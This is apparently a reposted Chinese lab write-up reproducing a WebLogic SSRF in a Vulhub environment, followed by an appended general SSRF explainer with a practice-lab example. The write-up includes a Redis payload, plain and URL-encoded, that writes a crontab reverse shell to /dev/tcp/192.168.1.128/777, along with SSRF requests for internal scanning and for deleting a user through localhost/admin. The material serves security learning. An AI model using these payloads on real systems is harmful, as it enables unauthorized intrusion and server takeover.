SSRF02服务器端请求伪造——WebLogic架构漏洞复现之从SSRF==＞未授权访问==＞GetShell

Posted Fighting_hawk

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了SSRF02服务器端请求伪造——WebLogic架构漏洞复现之从SSRF==＞未授权访问==＞GetShell相关的知识，希望对你有一定的参考价值。

目录

1 漏洞概述

  1. 概述：Weblogic中存在一个SSRF漏洞，利用该漏洞可以发送任意HTTP请求，进而攻击内网中redis、fastcgi等脆弱组件。
  2. 影响范围：版本10.0.2、版本10.3.6。
  3. 危害：存在未授权访问漏洞，在访问redis数据库时，无需提供用户名及密码，且具备root权限读写文件。

2 WebLogic 架构介绍

2.1 简介

WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

2.2 优势

WebLogic Server具有开发和部署关键任务电子商务Web应用系统所需的多种特色和优势，包括：

  1. 标准：
    对业内多种标准的全面支持，包括EJB、JSP、JMS、JDBC、XML（标准通用标记语言的子集）和WML，使Web应用系统的实施更为简单，并且保护了投资，同时也使基于标准的解决方案的开发更加简便。
  2. 可扩展性
    WebLogic Server 以其高扩展的架构体系闻名于业内，包括客户机连接的共享、资源pooling以及动态网页和EJB组件群集。
  3. 快速开发
    凭借对EJB和JSP的支持，以及WebLogic Server 的Servlet组件架 构体系，可加速投放市场速度。这些开放性标准与WebGain Studio配合时，可简化开发，并可发挥已有的技能，迅速部署应用系统。
  4. 更趋灵活
    WebLogic Server的特点是与领先数据库、操作系统和Web服务器紧密集成。
  5. 可靠性
    其容错、系统管理和安全性能已经在全球数以千计的关键任务环境中得以验证。
  6. 体系结构
    WebLogic Server是专门为企业电子商务应用系统开发的。企业电子商务应用系统需要快速开发，并要求服务器端组件具有良好的灵活性和安全性，同时还要支持关键任务所必需的扩展、性能、和高可用性。WebLogic Server简化了可移植及可扩展的应用系统的开发，并为其它应用 系统和系统提供了丰富的互操作性。

2.3 服务功能

  1. 在使用IP地址的一台计算机，或在使用集群捆绑在一起的多台计算机上，或在通过代理服务器管理的多台计算机上建立拥有相同域名的不同站点。
  2. 部署基于J2EE 标准编写的服务器JAVA代码，包括servlet,JSP,JavaBean 和EJB。
  3. 使用J2EE 扩展网络服务集成分布式系统，包括用于数据库连接的JDBC、用于信息传递的JMS、用于网络目录访问的JNDI、用于分布式事务处理的 JTA 和用于电子邮件处理的JavaMail。
  4. 部署使用远程方法调用（RMI）的纯Java 分布式应用程序。
  5. 通过使用RMI—IIOP（RMI over Internet Inter-ORB Protocol)协议部署近似CORBA的分布式应用系统。
  6. 通过使用安全套接层（SSL）和Weblogic的内在支持为用户验证和授权，实现强大的安全性。
  7. 通过将多个Weblogic服务器组成一个集群提供高可用性、负载均衡和容错能力。
  8. 利用Java 的多平台能力在Windows NT/2000、Sun Solairs、HP/UX 和其他Weblogic支持的操作系统上部署Weblogic服务器。
  9. 在任一平台上，通过使用WebLogic直观的进行基于Web 的管理和监视工具可在网络上轻松管理一个或多个WebLogic服务器。

3 Redis 组件介绍

3.1 简介

Redis（Remote Dictionary Server )，即远程字典服务，是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库。

3.2 功能

3.2.1 功能概述

  1. Redis 是一个高性能的key-value数据库。 redis的出现，很大程度补偿了memcached这类key/value存储的不足，在部 分场合可以对关系数据库起到很好的补充作用。它提供了Java，C/C++，C#，php，javascript，Perl，Object-C，Python，Ruby，Erlang等客户端，使用很方便。
  2. Redis 是一个开源（BSD 许可）的内存数据结构存储，用作数据库、缓存和消息代理。 Redis 提供数据结构，例如字符串、哈希、列表、集合、具有范围查询的排序集合、位图、超日志、地理空间索引和流。 Redis 具有内置复制、Lua 脚本、LRU 驱逐、事务和不同级别的磁盘持久性，并通过 Redis Sentinel 和 Redis Cluster 自动分区提供高可用性。

3.2.2 数据功能

  1. 数据类型多样。redis和Memcached类似，它支持存储的value类型相对更多，包括以下类型：
    1. string(字符串)
    2. list(链表)
    3. set(集合)
    4. zset(sorted set --有序集合)
    5. hash（哈希类型）
  2. 数据操作方法。
    以上数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作，而且这些操作都是原子性的。在此基础上，redis支持各种不同方式的排序。
  3. 数据存储。
    与memcached一样，redis为了保证效率，数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件，并且在此基础上实现了master-slave(主从)同步。

3.2.3 主从同步功能

  1. Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步，从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。
  2. 存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制，使得从数据库在任何地方同步树时，可订阅一个频道并接收主服务器完整的消息发布记录。
  3. 同步对读取操作的可扩展性和数据冗余很有帮助。

4 fastcgi 组件介绍

4.1 CGI

  1. 定义：CGI（Common Gateway Interface），即通用网关接口，是 WWW（World Wide Web）技术中最重要的技术之一，是外部应用程序（即 CGI 程序）与 Web 服务器之间的接口标准，负责在 CGI 程序和 Web 服务器之间传递信息。
  2. 功能：CGI 是 Web 服务器运行时，调用外部应用程序（即 CGI 程序）的规范，CGI 规范允许 Web 服务器执行外部程序，并将它们的输出发送给 Web 浏览器，CGI 将 Web 的一组简单的静态超媒体文档变成一个完整的、新的交互式媒体，按照 CGI 编写的程序可以扩展 Web 服务器功能。

4.2 fastcgi

  1. FastCGI 实际上是增加了一些扩展功能的 CGI 、是 CGI 的改进，描述了客户端和Web服务器程序之间传输数据的一种标准。
  2. FastCGI 致力于减少Web服务器与CGI程序之间进行互动的开销，从而使Web服务器可以同时处理更多的Web请求。与 CGI 为每个Web请求创建一个新的进程不同， FastCGI 使用持续的进程来处理一连串的Web请求，这些进程由FastCGI进程管理器管理，而不是Web服务器。

5 SSRF 实验介绍

5.1 实验目的

  1. 理解SSRF攻击原理；
  2. 掌握SSRF攻击的方法。

5.2 实验环境

  1. 在虚拟机安装CentOS系统，并完成图形化设置，可以参考文章《CentOS7虚拟机安装及界面图形化》。
  2. 部署Vulhub靶场环境。参考文章《CentOS上部署Vulhub靶场》。
  3. 靶机：CentOS中的docker容器。
  4. 攻击者：CentOS及真实机。

6 SSRF 实验过程

6.1 前戏

  1. 打开安装有Vulhub的虚拟机，使用命令ip addr查询靶机IP地址为192.168.1.8。
  2. 进入Vulhub安装目录下的目录weblogic/ssrf进行实验，输入docker-compose up -d。
  3. 使用命令docker ps -a，查看开了多少个容器，内容显示如下。可以看到总共有2个容器，分别是weblogic、redis。
[root@192 ssrf]# docker ps
CONTAINER ID        IMAGE                           COMMAND                  CREATED             STATUS              PORTS                              NAMES
6297710a799c        vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"       3 hours ago         Up 3 hours          5556/tcp, 0.0.0.0:7001->7001/tcp   ssrf_weblogic_1
95c1bca022c9        vulhub/baselinux:centos-6       "/docker-entrypoin..."   3 hours ago         Up 3 hours          6379/tcp                           ssrf_redis_1
  1. 使用命令docker exec -it 95c1bca022c9 "/bin/bash"，打开docker环境中的基础linux系统，其中it后面的一串数字是baselinux对应的ID。可以看到成功进入该docker容器，在此容器内查看到的数据文件是docker内的文件。
[root@192 ssrf]# docker exec -it 95c1bca022c9 "/bin/bash"
[root@95c1bca022c9 /]#
  1. 使用命令uname -a查看系统版本信息，可以看到回显出系统版本和时间等。
[root@95c1bca022c9 /]# uname -a
Linux 95c1bca022c9 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
[root@95c1bca022c9 /]#
  1. 在etc下有一个计划任务文件crontab，使用命令ls -al /etc/crontab，查询该文件的权限，可以看到root用户可读可写，其他用户仅可读。
[root@95c1bca022c9 /]# ls -al /etc/crontab
-rw-r--r-- 1 root root 457 Sep 27  2011 /etc/crontab
  1. 使用命令cp /etc/crontab /etc/crontab.bak，将该crontab文件备份，因为待会实验需要修改该文件。
  2. 使用命令ip addr查询容器内系统的IP地址为172.19.0.2。
  3. 使用exit命令退出docker容器。
[root@95c1bca022c9 /]# exit
exit
[root@192 ssrf]#

6.2 阶段一：SSRF漏洞挖掘

  1. 打开BurpSuite，进入proxy代理模块，打开自带的浏览器，访问192.168.1.8:7001，这是weblogic的一个管理端口。页面访问如下，说明weblogic已启动。
  2. 浏览器输入192.168.1.8:7001/uddiexplorer/访问weblogic的管理主站，这是漏洞存在的位置。
  3. 将BurpSuite的代理拦截功能打开，然后在网页点开“Search Public Registries”，再点击“Search”。
  4. 切换到BurpSuite代理界面，可以看到其拦截的请求，右键将其发送到Repeater模块。在该请求中，下图 所指的是请求中要传入的URL，只是一些冒号和斜杆等特殊符号被编码看起来不怎么直观而已。
  5. 切换到repeater模块，将刚刚的请求发送，在响应窗口点击Render，将响应采用页面显示的方式展示，可以看到响应页面如下。
  6. 将该请求体中的URL参数修改为http://www.baidu.com，并点击发送，可以看到响应页面如下，与上面的响应有所不同。也就是说，页面产生了不同的状态，由此结合布尔盲注的思想，可以利用这种显示的差异来作一些判断，也就是说此处存在SSRF漏洞。

6.3 阶段二：SSRF漏洞利用到挖掘未授权访问漏洞

  1. 将该请求体中的URL参数修改为http://localhost:7001，并点击发送，可以看到响应页面如下，收到该端口的一个404响应，也就是说该端口是开启着的。
  2. （回顾一下NAT相关知识）下一步可以根据该处的响应，来盲测其所在内网的IP地址。此时我们先测试一下靶机所配置的IP地址，将该请求体中的URL参数修改为http://192.168.1.8:7001，并点击发送，响应页面显示没有找到对应IP地址。这是因为该架构处于容器内，容器内属于一个局域网，192.168.0.0网段对于容器而言是其他局域网，由于没有对容器所对应的网关配置路由表，所以找不到该IP。
  3. 由于docker环境的网段一般是172.*，也就是说可能的IP地址是从172.16.0.1~172.31.255.255，对于无从下手的时候可以采用BurpSuite来爆破。此时我们就不显示爆破过程，在前文我们已经查询得知docker容器系统IP地址为172.19.0.2，此处将该请求体中的URL参数修改为http://172.19.0.2:7001，并点击发送，可以看到响应与local:7001一致，由此可以猜测该IP就是网站所在的内网IP。同理，在真实网络中就也可以测试其他内网IP。
  4. 此处将该请求体中的URL参数修改为http://172.19.0.2:6379，并点击发送，可以看到也成功收到响应，说明端口开启。也就是说我们根据服务端的响应可以扫描内网IP和端口的状态，知道了此处有个redis，可能存在未授权访问。
  5. 后续将利用该未授权访问权限来写入文件以GetShell。

6.4 阶段三：从未授权访问到GetShell

  1. 进入CentOS（身份其实是攻击者），开启特定端口以接收反弹的shell文件。打开终端，输入命令ncat -lvvp 777开启777端口监听。
[root@192 ssrf]# ncat -lvvp 777
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::777
Ncat: Listening on 0.0.0.0:777
  1. 利用redis未授权访问漏洞，目的是反弹shell到CentOS本地终端中：
    1. 第一句含义是在任意时间以root将bash弹到后面这个IP的地址端口，需要接收端开启对应端口才能接收到。
    2. 第二句是设置目录
    3. 第三局是设置文件
    4. 第四句是将信息保存到对应目录的对应文件中。
set 1 "\\n\\n\\n\\n* * * * * root bash -c sh -i >& /dev/tcp/192.168.1.128/777 0>&1\\n\\n\\n\\n"
config set dir /etc/
config set dbfilename crontab
save
  1. 利用BurpSuite或其他编码工具对上述语句进行编码，如下：
set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-c%20sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.128%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
  1. 将上述代码添加到repeater模块中，点击sent。
  2. 按教程就是等待终端中反弹出docker的shell，然而没等到，失败了，暂时没找到原因。估计是语句构造出错、时间设置出错等的问题，以后有时间再排查

7 总结

  1. 掌握SSRF漏洞挖掘的方法；
  2. 掌握利用SSRF漏洞进行内网扫描；
  3. 本实验中未涉及SSRF利用时绕过的方法；
  4. 后续将研究如何成功反弹shell。

参考文献

  1. 《weblogic百度百科》
  2. 《Redis百度百科》
  3. 《Redis官网》
  4. 《CGI介绍》
  5. 《FastCGI介绍》
  6. 《/etc/crontab文件和crontab -e命令区别》

SSRF服务器请求伪造原理和攻击方法

Server-side request forgery (SSRF)

  • 俗称服务器请求伪造攻击。
  • 和CSRF不同的是，CSRF主要针对于客户端的攻击，而SSRF主要是针对服务器的攻击。
  • SSRF是一种网络安全漏洞，允许攻击者诱导服务器端应用程序向攻击者选择的任意域进行 HTTP 请求。
  • 在典型的 SSRF 攻击中，攻击者可能会导致服务器与组织基础设施中的内部仅服务连接。
  • 在其他情况下，它们可能能够强制服务器连接到任意的外部系统，从而可能泄露敏感数据（如授权凭据），即，由外网攻陷内网

SSRF 攻击有何影响？

  • 成功的 SSRF 攻击通常会导致在组织内的未经授权的操作或访问数据。

  • 在某些情况下，SSRF 漏洞可能允许攻击者执行任何命令。

  • 总而言之，最严重的情况就是控制服务器

SSRF对服务器本身的攻击：

  • 我们可以修改传送到服务器的报文，里面添加一些恶意代码，如果这些代码被执行，那么我们就可以对服务器进行攻击
  • 比如在一个购物界面，我们有的时候需要查看它的库存是多少个。为了提供购物信息，应用程序必须查询各种后端API，这些API取决于相关产品。
  • 通过HTTP请求，将这些API附加在请求报文中的正文里，然后传递给服务器进行查询，我们就可以利用这些API对服务器进行相关操作。
  • 浏览器或许会发出这样的请求：
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
  • 我们可以修改的，就是stockApi，你看，她返回的或许是一个数值，但是这是个URL，我们如果篡改成http://localhost/admin
  • 或许这个页面就能给我返回出admin的界面

实战：


一个靶场
点开一个商品，看下巴黎有没有货：

抓包，发现有个API

放入Repeat里面去 ：
修改api

stockApi=http://localhost/admin

我们删除Carlos用户试试，观察HTML代码：
好家伙，文件目录都在，都不用看的

删除Carlos用户：

stockApi=http://localhost/admin/delete?username=carlos


删除成功

以上是关于SSRF02服务器端请求伪造——WebLogic架构漏洞复现之从SSRF==＞未授权访问==＞GetShell的主要内容，如果未能解决你的问题，请参考以下文章

-SSRF服务端请求伪造

Web常规漏洞SSRF服务端请求伪造漏洞

Web安全——服务器端请求伪造（SSRF）

Web安全——服务器端请求伪造（SSRF）

Web安全——服务器端请求伪造（SSRF）

pikachu靶场——SSRF(服务器端请求伪造)